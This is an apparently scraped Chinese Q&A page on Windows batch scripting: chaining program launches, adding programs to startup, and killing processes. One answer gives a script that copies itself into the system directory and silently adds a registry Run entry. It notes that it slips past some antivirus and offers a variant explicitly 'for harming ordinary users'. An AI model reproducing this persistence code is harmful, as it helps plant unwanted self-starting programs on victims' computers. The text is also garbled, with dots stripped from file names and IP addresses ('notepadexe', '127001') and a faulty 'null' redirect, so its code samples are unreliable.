
在批处理文件中,你可以使用"start"命令来启动另一个程序。可以使用以下方法在启动另一个程序后自动运行:
1打开文本编辑器,新建一个批处理文件(后缀名为bat)。
2在文件中输入“start”命令,后跟要运行的程序的路径。例如,“start C:\Windows\System32\notepadexe”。
3在“start”命令后面添加"ping -n 5 127001 > null"。这将给新启动的程序一些时间来加载。其中5指5秒钟,你可以根据需要更改它。
4在 "ping" 命令后添加要运行的第二个程序的路径。例如,“C:\Games\MyGameexe”。
完整代码示例:
```
@echo off
start C:\Windows\System32\notepadexe
ping -n 5 127001 > null
C:\Games\MyGameexe
```
请注意,当第一个程序运行时,批处理文件会等待5秒钟,然后再运行第二个程序。你可以根据需要更改ping命令中的延迟时间,确保第二个程序在第一个程序加载完成后正常运行。
希望这个解决方案能够帮助到你。
你可以直接将gmexe添加到开始菜单的启动目录里,这样就可以开机自启动了。
一般打开 C:\Documents and Settings\Administrator\「开始」菜单\程序\启动,这个文件夹,然后将程序的快捷方式拖进去就可以了。
并不是 每个人的系统都在C盘可以用%systemroot%拿到系统目录!
我这个,有部分杀软 会跳过(但卡巴会拦)!
@echo off
::(你的BAT内容)
copy %0 %systemroot%\batNamebat
::↑复制自身到系统目录
Echo REGEDIT4>c:\rrrreg
ECHO>>c:\rrrreg
Echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]>>c:\rrrreg
Echo ""="%systemroot%\batNamebat">>c:\rrrreg
regedit /s c:\rrrreg
del c:\rrrreg
exit
其实,是害一般用户的话 可以用
copy %0 %SystemDrive%\Docume~1\%UserName%\「开始~1\程序\启动\batNamebat
这个虽然很老土, 不过比较安全!
如:希望关闭exampleexe进程
@echo
off
taskkill
/f
/im
exampleexe
将以上内容另存为txt格式,然后改后缀名为bat格式运行即可
一般的随系统启动的就几种方式:
1、把程序放到C:\Documents and Settings\Administrator\「开始」菜单\程序\启动文件夹下;
2、把程序的路径写到注册表run值的下面;
3、放到组策略中的启动中。
不知道你的“让电脑进入 *** 作系统以前就自动运行”指的是那种,这个可能要在系统加载时加入东西,可能是修改系统的引导程序哪儿。不太清楚。 @echo off
set "filename=C:\aexe"
copy "%filename%" "%userprofile%\「开始」菜单\程序\启动"
call reg add "hkcu\software\microsoft\windows\currentversion\run" /v aexe /t reg_sz /d "%%filename%%" /f关于组策略添加启动,我用手工加入了程序,然后监视注册表的变化,却增加17个键,增加值达到38个,还有修改值12个,看来是不能那么轻易的用批处理加入了。
至于把程序加到服务中,可以借助第三方程序runassrv,或者利用lxzzr版主的WMIC版的批处理把程序变成服务。随系统启动。
runassrv和lxzzr版主的wmic版的批处理,参看下面帖子:
>
以上就是关于bat另一个程序启动后自动运行全部的内容,包括:bat另一个程序启动后自动运行、如何将bat文件添加到开机启动、bat文件关闭和启动程序命令等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)